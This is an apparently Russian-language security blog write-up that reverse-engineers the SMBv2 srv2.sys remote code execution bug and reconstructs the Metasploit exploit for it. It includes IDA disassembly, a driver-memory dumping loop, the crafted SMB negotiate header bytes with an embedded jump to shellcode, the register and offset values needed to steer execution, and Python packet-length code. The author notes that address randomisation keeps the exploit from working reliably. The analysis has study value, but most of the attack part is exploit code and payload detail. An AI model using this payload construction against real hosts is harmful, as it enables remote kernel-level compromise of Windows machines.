«Vulnerabilities in SMBv2 Could Allow Remote Code Execution». Копаем глубже
Exploit
Целью является описание написанного, командой из Metasploit, exploit’a.
Просматривая передаваемый по протоколу SMB трафик видим.
Команда SMBnegotiate используется при создании сессии. Строки в поле Request Dialects содержат названия протоколов по которому будет производиться обмен данными. Для того чтоб обработкой пакета занимался драйвер srv2.sys, должна присутсвовать строка «SMB 2.002».
Анализ драйвера.
Рассматривать уязвимый драйвер начнем с статического анализа. Открываем драйвер под IDA, подгружаем символы ядра. Нам нужно найти функцию – парсер. Логично предположить, что парсер будет сравнивать сначала первое поле, ишем в IDA hex строку 0x424D53FF. Получаем:
.text:00015DFC _Smb2ValidateNegotiate@4 cmp dword ptr [eax], 424D53FFh
.text:00017304 _Smb2ValidateProviderCallback@4 cmp edx, 424D53FFh
Просматриваем xref на обе функции. Получается что SMB2ValidateNegotiate вызвается из SMB2ValidateProviderCallback. Начнем с нее. Создадим в IDA структуру:
00000000 SMB_Header struc ; (sizeof=0×20)
00000000 sbmMagic dd ?
00000004 protocol db ?
00000005 status dd ?
00000009 flag1 db ?
0000000A flag2 dw ?
0000000C PidHigh dw ?
0000000E signature db 8 dup(?)
00000016 reserved dw ?
00000018 treeid dw ?
0000001A procid dw ?
0000001C userid dw ?
0000001E MultiplexId dw ?
Затем просмотрим листинг по адресу 0×00017304, посмотрим где хранится указетель:
.text:000172F8 034 8B 16 mov edx, [esi]
.text:000172FA 034 81 FA FE 53 4D+ cmp edx, 424D53FEh
.text:00017300 034 74 41 jz short loc__text_17343
.text:00017302 034 81 FA FF 53 4D+ cmp edx, 424D53FFh
.text:00017308 034 75 10 jnz short loc__text_1731A
Значит в esi лежит указатель на присылаемый пакет. Просматриваем ветку дальше…
.text:00017745 034 0F B7 46 0C movzx eax, [esi+smb_Header.PidHigh]
.text:00017749 034 8B 04 85 70 D2+ mov eax, _ValidateRoutines[eax*4]
.text:00017750 034 85 C0 test eax, eax
.text:00017752 034 75 07 jnz short loc__text_1775B
.text:00017754 034 B8 02 00 00 C0 mov eax, 0C0000002h
.text:00017759 034 EB 03 jmp short loc__text_1775E
.text:0001775B 034 53 push ebx
.text:0001775C 038 FF D0 call eax ; Smb2ValidateNegotiate(x)
А где проверка индекса?
Переходим на адрес таблицы указателей .data:0002D270.
19 валидных указателей, обработчиков различных запросов. А далее секция .data и кусок кода. В глаза сразу бросается точно такая же таблица чуть выше, только у нее href из Execute ветки. Аналогичная уязвимость в функции Smb2ExecuteProviderCallback. Так как тип у поля PID_High – short, то прыгать мы можем на 0xffff * 4 = 0x3fffC.
Посмотрим xref на функцию Smb2ValidateProviderCallback –> Smb2ProviderRegister. Не вдаваясь в подробности видно, что функция вызвывается при инициализации драйвера, и заполняет поля структуры, выделенной в памяти offset’ами уязвимых функций. Теперь пришло время воспользоваться виртуальной машиной и Syser’ом(Kernel & user mode debbuger). На виртуальной машине поднимаем сеть.
Поставим breakpoint на инструкции call eax в Smb2ValidateProviderCallback. Необходимо узнать откуда вызывается функция с уязвимостью, а так же значение регистров на инструкции call eax. Отсылаем пакет. Значение регистров на рисунке 2. Проходим до инструкции ret. Смотрим на адрес возврата на стеке. RVA – 0x1FA77. ( SrvProcessPacket ) Если возврашаем не STATUS_MORE_PROCESSING_REQUIRED, и не STATUS_PENDING, то вызываем CompleteRequest (завершить запрос ).
PAGE:0002FA74 call dword ptr [eax+20h]
PAGE:0002FA77 cmp eax, STATUS_MORE_PROCESSING_REQUIRED
PAGE:0002FA7C jnz short loc_PAGE_2FA99
……………………………
PAGE:0002FA99 cmp eax, STATUS_PENDING
PAGE:0002FA9E jz short loc_PAGE_2FAB4
PAGE:0002FAA0 cmp eax, edi
PAGE:0002FAA2 jnz short loc_PAGE_2FAA9
PAGE:0002FAA9 setnl cl
PAGE:0002FAAC push ecx
PAGE:0002FAAD push eax
PAGE:0002FAAE push esi
PAGE:0002FAAF call _SrvProcCompleteRequest@12 ; SrvProcCompleteRequest(x,x,x)
Рисунок 2 – Значение регистров на инструкции call eax.
Написание exploit’a
Возможные варианты:
1. Найти указатель на память, на участке 0002D270 –(0002D270 + 0x3fffC ), содержащую инструкцию call esi/jmp esi, опкод ffd6. Но возникает один нюанс – первой выполняемой инструкцией будет опкод ff534d42, что дизасемблируется в CALL DWORD PTR [EBX+0x4D]; INC EDX. Необходимо, чтобы ebx, был валидный указатель, что накладывает дополнительные трудности.
Итак займемся поиском указателей. Для начала привяжемся к виртуальной машине и сдампим значания.
for ( offset = 0; offset < 0xFFFF; offset++ )
{
if(MmIsAddressValid((PULONG)(srv2Sys + offset * 4)))
{
if ( *(PULONG)(srv2Sys + offset * 4) > 0×80000000 && MmIsAddressValid( (PULONG)(*(PULONG)(srv2Sys + offset * 4)) ))
{memcpy ( (PULONG)((PCHAR)buffer + ( BUFFER_SIZE – bufferLength )), (PULONG)(*(PULONG)(srv2Sys + offset * 4)), 5 * sizeof (ULONG));
bufferLength -= 5 *sizeof(ULONG);
*(PULONG)((PCHAR)buffer + ( BUFFER_SIZE – bufferLength )) = 0×00000000;
if( bufferLength < 6 * sizeof(ULONG))
{
LogVrb(«Don’t Enougth memmory fo dump\n»);
break;
}
…
Находим валидные указатели, и дампим первые инструкции. Теперь передаем дамп в IDA и анализируем. Картина маслом, сдампился тока пролог, валидные указатели были только на начала функций.
2. Из 1-го варианта выходит, что можем прыгнуть на функцию, в которой были бы необходимые нам инструкции. Ищем инструкции
a. CALL ESI – все полученные значения соответствуют
mov esi, ds:__imp_@function
call esi ;function
b. CALL EAX
Этим воспользоваться не можем, из них мы вызываемся.
.text:000166C0 _Smb2ExecuteProviderCallback@4 call eax ; Smb2ExecuteNegotiate(x); Smb2ExecuteNegotiate(x)
.text:0001775C _Smb2ValidateProviderCallback@4 call eax ; Smb2ValidateNegotiate(x); Smb2ValidateNegotiate(x)
Интересные варианты, инструкции вида.
mov eax, [esi + 164h]
call eax
.text:000136A4 _SrvFreeWorkItem@4 call eax
PAGE:00030BFD _SrvProcCompleteCompoundedRequest@4 call eax
PAGE:0002FB91 _SrvProcCompleteRequest@12 call eax
.text:00013C4D _SrvProcSendComplete@12 call eax
c. CALL [esi + BYTE]
.text:00013C84 _SrvProcSendComplete@12 call dword ptr [esi+1Ch]
PAGE:0002E19C _SrvProcWorkerThread@4 call dword ptr [esi+1Ch]
Итак теперь смотрим href этих функций. Нам необходимо, чтобы они вызвались из секции .data. Например вот так
; DATA XREF: SrvProcSpinUpThread(x,x)+4C.
То есть в секции храниться структура для запуска отдельного потока.
Но возникает 1 проблема, на стеке буфер с пакетом лежит 6. Соответственно мы должны передать управление функции, которая будет иметь 5 входных параметров. Вообщем вариант #3
3. Не нужно покупать очки, чтобы увидеть, SrvProcCompleteRequest и SrvProcCompleteCompoundedRequest имеют href на SrvCompleteRequest. Вспомним изыскания в SrvProcessPacket, возврашаемые значения …
Одним из вариантов, стала функция SrvSnapShotScavengerTimer, указатель на которую, мы можем увидеть в структуре для DeferredRoutine. Адрес находиться по смешению 0x85c от ValidateRoutines.
_SrvSnapShotScavengerTimer@16
push 1 ; QueueType
push offset _SrvSnapShotScavengerState ; WorkItem
call ds:__imp__ExQueueWorkItem@8 ; ExQueueWorkItem(x,x)
retn 10h
Теперь необходимо благополучно добраться до инструкции
PAGE:0002FB86 018 8B 86 68 01 00+ mov eax, [esi+168h]
PAGE:0002FB91 01C FF D0 call eax
Далее будет описано формирование пакета, с указанием инструкций, влияющих на ход выполнения.
Формирования пакета
SMB_Header = (
«\xFF\x53\x4D\x42″ # SERVER COMPONENT: SMB
«\x72\x00\xeb\x06″ # NEGOCIATE PROTOCOL
«\x00\x18\x53\xC8″ # OPERATION 0X18 & SUB 0XC853
«\x17\x02″# to &SrvSnapShotScavengerTimer
«\xe9\x59\x01\x00\x00″ # jmp shell
«\x61\x72\x20″#SIGNATURE
«\x00\x00″#RESERVED
«\xFF\xFF»#TREEID
«\xFF\xFE»#PROCID
«\x00\x00″#USERID
«\x01\xeb»#MID
Учитывая то, что в рассматриваемом варианте exploit’a заголовку будет передано управление, то нас интересует валидность исполнения инструкций. Начала проблемы «\xFF\x53\x4D\x42 – CALL DWORD PTR DS:[EBX+4D] INC EDX; ebx должен быть валидным.
PAGE:00030688 018 8D 84 86 30 01+ lea eax, [esi+eax*4+130h]
PAGE:0003068F 018 FF 00 inc dword ptr [eax]
Инструкции из SrvConsumeDataAndComplete2, зайти в гости придется и туда.
Весь ход исполнения будет проводиться следующим образом:
1. SrvProcCompleteRequest
2. SrvConsumeDataAndComplete
3. SrvConsumeDataAndComplete2
4. SrvProcCompleteRequest
5. Call eax
Поехали.
«\x17\x02″# to &SrvSnapShotScavengerTimer, и возвращаемся в SrvProccessPacket, с eax = 0, как указывалось выше. Заходим в 1.
Итак [esi + 0xc8] = 0;
Вот тут еше одна проблема. [Esi + 0x3c] – валидный указатель, на память > 20, ну или на 8 байт. Помолимся богу Google, и Kernel’s Processor Control Block. Вообщем память выделенная под нужды ядра. Посмотрим под Syser, на нее, выберем не используемые 8 байт. [esi + 0x3c] = 0xffdf0050;
Помним что нам нужно сюда, посмотрим href.

Самый смак. Выделенным цветом условный переход. Теперь
[Esi + 0x14c] != -1
Далее
JS SF = 1 если знак минус (знаковый (старший) бит результата равен 1)
Значит должно произойти переполнение. При чем возврашаемое значение WmiGetClock должно игнорироваться.
Из младшего DWORD’a [esi + 0x128], из старшего [esi + 0x12c] – CF.
[esi + 0x12c] = 0xffff0000, короче большое число. Впринципе все равно, потому как старшая часть значения времени большой не будет.
Inc 434d53ff = 43455400 -> disasm -> ADD BYTE PTR SS:[EBP+ECX*2+42],DL
Вспомним
mov eax, [esi+14Ch]
PAGE:00030632 cmp eax, 0FFFFFFFFh
PAGE:00030635 mov [ebp+packetBuffer], eax
[Esi +0x14c] * 4 + 130h = 0; [Esi +0x14c] = 0x3FFFFFB4
[Esi + 0xA0] == [Esi + 0xA0]
mov byte ptr [esi+0C8h], 1 – терерь проходим смотри выше SrvProcComp.
Очередной этап прошли теперь.
[Esi + 0xA0] == 0
Последний параметр мы сохряняли в [esi + 0xc9], а первоначально вызывается с 1.
[esi+30h] != 0, [esi + 0x3c] = 0xffdf0050, ,[esi + 0xe0] != 4
Скажите наконец-то. Но нет. Теперь мы можем прыгуть куда угодно, а куда нам нада???, причем так, чтобы передать управление. Модули загружаются по разным адресам на разных машинах.
Автор оригинального expa записал в [esi + 0x168] = 0xFFD00D09. Там ничего интересного в виртуалке нет. Я привязался на своей виртуалке к ntoskrnlpa.exe. BASE (0×81839000)+offset(0x131d). Там находятся инструкции pop ebx ret. Но при перезагрузке меняется адрес загрузки. Куда мы вернемся сейчас?
УРА!!! Возвратимся к нашим баранам, то есть заголовку.
0 00544D 42 ADD BYTE PTR SS:[EBP+ECX*2+42],DL
4 72 00 JB SHORT 6
6 EB 06 JMP SHORT f
8 0018 ADD BYTE PTR DS:[EAX],BL
a 53 PUSH EBX
b C8 1702E9 ENTER 217,0E9
10 59 POP ECX
11 0100 ADD DWORD PTR DS:[EAX],EAX
F – jmp 0×159
Передали управление на нас shell.
SUB BYTE PTR SS:[EBP+42],DL – Восстановили ebp.
Add ebx,0×102 push ebx ret – корректный выход из shell.
Важно
1. До заголовка есть поле с размеров smb пакета, динамически вычисляется кодом
if len ( SMB_Header) + len ( exploit ) <= 0xff:
SMB_packet += «\x00″
SMB_packet += chr( (len ( SMB_Header) + len ( exploit )))
else:
SMB_packet += chr( (len ( SMB_Header) + len ( exploit )) >>
SMB_packet += chr( (len ( SMB_Header) + len ( exploit )) & 0x00ff)
2. Коннект можно осуществлять на 139 порт, создав перед этим SMB сессию NBSS пакетом, содержащим сетевое имя получателя и отправителя.
CTF Blog


< жаль что рандомизация, так бы нормально рабочий эксп.
Говорили мне что память bios отображается, но я так и не нашел (((